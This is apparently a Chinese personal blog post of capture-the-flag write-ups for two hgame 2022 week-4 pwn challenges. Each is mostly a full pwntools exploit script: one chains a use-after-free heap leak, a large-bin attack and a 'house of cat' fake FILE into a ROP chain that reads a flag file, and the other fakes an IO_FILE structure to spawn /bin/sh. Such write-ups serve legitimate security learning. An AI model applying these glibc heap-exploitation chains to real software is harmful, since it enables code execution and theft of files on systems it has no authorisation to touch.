2022-hgame-week4

本文最后更新于:2023年2月6日 晚上

hgame week4 PWN

without-hook

本题是标准的菜单堆题,白给的uaf漏洞,唯一的难点就是使用了libc-2.36-2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './vuln'
elf = ELF(fn)
# libc = ELF('/home/haha2022/tools/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6')
libc = elf.libc

debug = 0
if debug:
p = remote('week-4.hgame.lwsec.cn', 30776)
else:
p = process(fn)


malloc_hook, free_hook = 0, 0
system, execve, binsh = 0, 0, 0
setcontext, mprotect = 0, 0
_open, read, write = 0, 0, 0
_IO_list_all, _IO_stdfile_2_lock = 0, 0
_IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps = 0, 0, 0, 0
_IO_wfile_jumps_mmap = 0

def get_gadgets(libc_base):
global malloc_hook, free_hook, binsh, system, execve, setcontext, _open, read, write, mprotect, _IO_list_all
global _IO_stdfile_2_lock, _IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps, _IO_wfile_jumps_mmap

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

binsh = libc_base + libc.search(b'/bin/sh').__next__()
system = libc_base + libc.sym['system']
execve = libc_base + libc.sym['execve']

setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']

_open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
_IO_list_all = libc_base + libc.sym['_IO_list_all']

_IO_stdfile_2_lock = libc_base + 0x1f8a10
# _IO_stdfile_2_lock = libc_base + 0x1f8a20
_IO_file_jumps = libc_base
_IO_wfile_jumps = libc_base + 0x1f30a0
# _IO_wfile_jumps = libc_base + 0x1f3240
_IO_wfile_jumps_mmap = libc_base
_IO_obstack_jumps = libc_base
_IO_cookie_jumps = libc_base


log.success('libc_base: ' + hex(libc_base))
log.success('malloc_hook: ' + hex(malloc_hook))
log.success('free_hook: ' + hex(free_hook))
log.success('system: ' + hex(system))
log.success('execve: ' + hex(execve))
log.success('setcontext: ' + hex(setcontext))
log.success('mprotect: ' + hex(mprotect))
log.success('IO_list_all: ' + hex(_IO_list_all))


lg = lambda x, y: log.success(f'{x}: {hex(y)}')

sd = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

rv = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rt = lambda x: p.can_recv_raw(timeout=x)


def menu(index):
p.sendlineafter('>', str(index))


def add(index, size):
menu(1)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))


def show(index):
menu(4)
p.sendlineafter('Index: ', str(index))


def edit(index, content):
menu(3)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Content: ', content)


def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))

def _exit():
menu(5)


add(0, 0x520)
add(1, 0x520)
add(2, 0x510)
add(3, 0x500)

delete(0)
delete(2)

show(2)
heap = u64(rv(6).ljust(8, b'\x00')) - 0x290
lg('heap', heap)

show(0)
leak = u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)
libc_base = leak - 0x1f6cc0

get_gadgets(libc_base)

# libc-2.36-4
pop_rdi_ret = libc_base + 0x0000000000023b65
pop_rsi_ret = libc_base + 0x00000000000251be
pop_rdx_ret = libc_base + 0x0000000000166262
pop_rax_ret = libc_base + 0x000000000003fa43
syscall_ret = libc_base + 0x000000000008cc36
ret = pop_rdi_ret + 1

# libc-2.36-2
# pop_rdi_ret = libc_base + 0x0000000000023ba5
# pop_rsi_ret = libc_base + 0x00000000000251fe
# pop_rdx_rbx_ret = libc_base + 0x000000000008bbb9
# pop_rax_ret = libc_base + 0x000000000003f923
# syscall_ret = libc_base + 0x000000000008cb16
# ret = pop_rdi_ret + 1

# libc-2.37-1
# pop_rdi_ret = libc_base + 0x00000000000240e5
# pop_rsi_ret = libc_base + 0x000000000002573e
# pop_rdx_ret = libc_base + 0x0000000000026302
# pop_rax_ret = libc_base + 0x0000000000040123
# syscall_ret = libc_base + 0x000000000008b966
# ret = pop_rdi_ret + 1

add(4, 0x510)

payload = p64(libc_base + 0x1f7100) * 2 + p64(heap + 0x290) + p64(_IO_list_all - 0x20)
edit(0, payload)

delete(4)
add(5, 0x540)

fake_IO_file_addr = heap + 0xcf0

# house of cat
fake_IO_file = p64(0) * 4
fake_IO_file += p64(0) * 2 # wide_data
fake_IO_file += p64(1) + p64(1) # wide_data -> _IO_write_base = rcx != 0
fake_IO_file += p64(heap + 0x7d0) # fp->_IO_backup_base = rdx wide_data -> _IO_write_ptr
fake_IO_file += p64(setcontext + 61) # fp->_IO_save_end = call addr(call setcontext)
fake_IO_file = fake_IO_file.ljust(0x58, b'\x00')
fake_IO_file += p64(0) # _chain
fake_IO_file = fake_IO_file.ljust(0x78, b'\x00')
fake_IO_file += p64(_IO_stdfile_2_lock) # _lock = writable address / _IO_stdfile_2_lock
fake_IO_file = fake_IO_file.ljust(0x90, b'\x00')
fake_IO_file += p64(fake_IO_file_addr+0x30) # _wide_data
fake_IO_file = fake_IO_file.ljust(0xb0, b'\x00')
fake_IO_file += p64(1) # _mode != 0
fake_IO_file = fake_IO_file.ljust(0xC8, b'\x00')
fake_IO_file += p64(_IO_wfile_jumps + 0x30) # vtable 0xd0
fake_IO_file = fake_IO_file.ljust(0x100, b'\x00')
fake_IO_file += p64(fake_IO_file_addr+0x40) # fake_IO_wide_jumps

edit(2, fake_IO_file)

flag_addr = heap + 0x7d0 + 0x200
data = heap + 0x7d0 + 0x300
rop_data = [
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret,
flag_addr,
pop_rsi_ret,
0,
syscall_ret,

pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret,
3,
pop_rsi_ret,
data,
pop_rdx_ret,
0x40,
syscall_ret,

pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret,
1,
pop_rsi_ret,
data,
pop_rdx_ret,
0x40,
syscall_ret
]

payload = flat(
{
0xa0: [heap + 0x7c0 + 0x110, ret],
0x100: rop_data,
0x200: 'flag\x00\x00\x00\x00'
}, filler=b'\x00',
)


edit(1, payload)

# gdb.attach(p, 'b _IO_flush_all_lockp')
# pause()

_exit()

p.interactive()

4nswer_s_gift

白给的libc地址,同时我们可以直接覆盖_IO_list_all,明显打IO了。但是无法泄漏堆地址,这个地方卡了好久。最后想到了mmap,malloc一块大空间,使用mmap分配,其地址与libc地址偏移一定,从而得到heap地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './vuln'
elf = ELF(fn)
libc = ELF('./libc.so.6')

debug = 0
if debug:
p = remote('week-4.hgame.lwsec.cn', 30404)

else:
p = process(fn)

malloc_hook, free_hook = 0, 0
system, execve, binsh = 0, 0, 0
setcontext, mprotect = 0, 0
_open, read, write = 0, 0, 0
_IO_list_all, _IO_stdfile_2_lock = 0, 0
_IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps = 0, 0, 0, 0

def get_gadgets(libc_base):
global malloc_hook, free_hook, binsh, system, execve, setcontext, _open, read, write, mprotect, _IO_list_all
global _IO_stdfile_2_lock, _IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

binsh = libc_base + libc.search(b'/bin/sh').__next__()
system = libc_base + libc.sym['system']
execve = libc_base + libc.sym['execve']

setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']

_open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
_IO_list_all = libc_base + libc.sym['_IO_list_all']

_IO_stdfile_2_lock = libc_base + 0x1f8a10
_IO_file_jumps = libc_base + 0x1f35e0
_IO_wfile_jumps = libc_base + 0x1f30a0
_IO_obstack_jumps = libc_base + 0x2163c0
_IO_cookie_jumps = libc_base


log.success('libc_base: ' + hex(libc_base))
log.success('malloc_hook: ' + hex(malloc_hook))
log.success('free_hook: ' + hex(free_hook))
log.success('binsh: ' + hex(binsh))
log.success('system: ' + hex(system))
log.success('execve: ' + hex(execve))
log.success('setcontext: ' + hex(setcontext))
log.success('mprotect: ' + hex(mprotect))

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

sd = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

rv = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rt = lambda x: p.can_recv_raw(timeout=x)

# gdb.attach(p, 'b *0x7ffff7e44379')
# pause()

ru('it looks like this: ')
leak = int(rv(14), 16)
lg('leak', leak)
libc_base = leak - 0x1f7660

get_gadgets(libc_base)

gadgets = [0x4e0b0, 0xe3f59, 0xe3fb3]
one_gadget = libc_base + gadgets[2]
lg('one_gadget', one_gadget)

heap_base = libc_base - 0x204000
fake_IO_file_addr = heap_base + 0x10

fake_IO_FILE = b'/bin/sh\x00' + p64(0) + p64(0) * 4
fake_IO_FILE += p64(0) * 2 + p64(1) # wide_data
fake_IO_FILE += p64(1) # wide_data -> _IO_write_base = rcx != 0
fake_IO_FILE += p64(fake_IO_file_addr) # fp->_IO_backup_base = rdx wide_data -> _IO_write_ptr
fake_IO_FILE += p64(system) # fp->_IO_save_end = call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(_IO_stdfile_2_lock) # _lock = writable address / _IO_stdfile_2_lock
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(fake_IO_file_addr+0x30) #_wide_data, rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) # _mode != 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps + 0x30) # vtable 0xd0
fake_IO_FILE = fake_IO_FILE.ljust(0x110, b'\x00')
fake_IO_FILE += p64(fake_IO_file_addr+0x40) # rax2_addr fake_IO_wide_jumps

payload = fake_IO_FILE

ru('many things do you think is appropriate to put into the gift?')
p.sendline(str(0x200000))

ru('put into the gitf?')
p.send(payload)

p.interactive()


2022-hgame-week4
http://example.com/2023/02/06/2022-hgame-week4/
作者
l1s00t
发布于
2023年2月6日
更新于
2023年2月6日
许可协议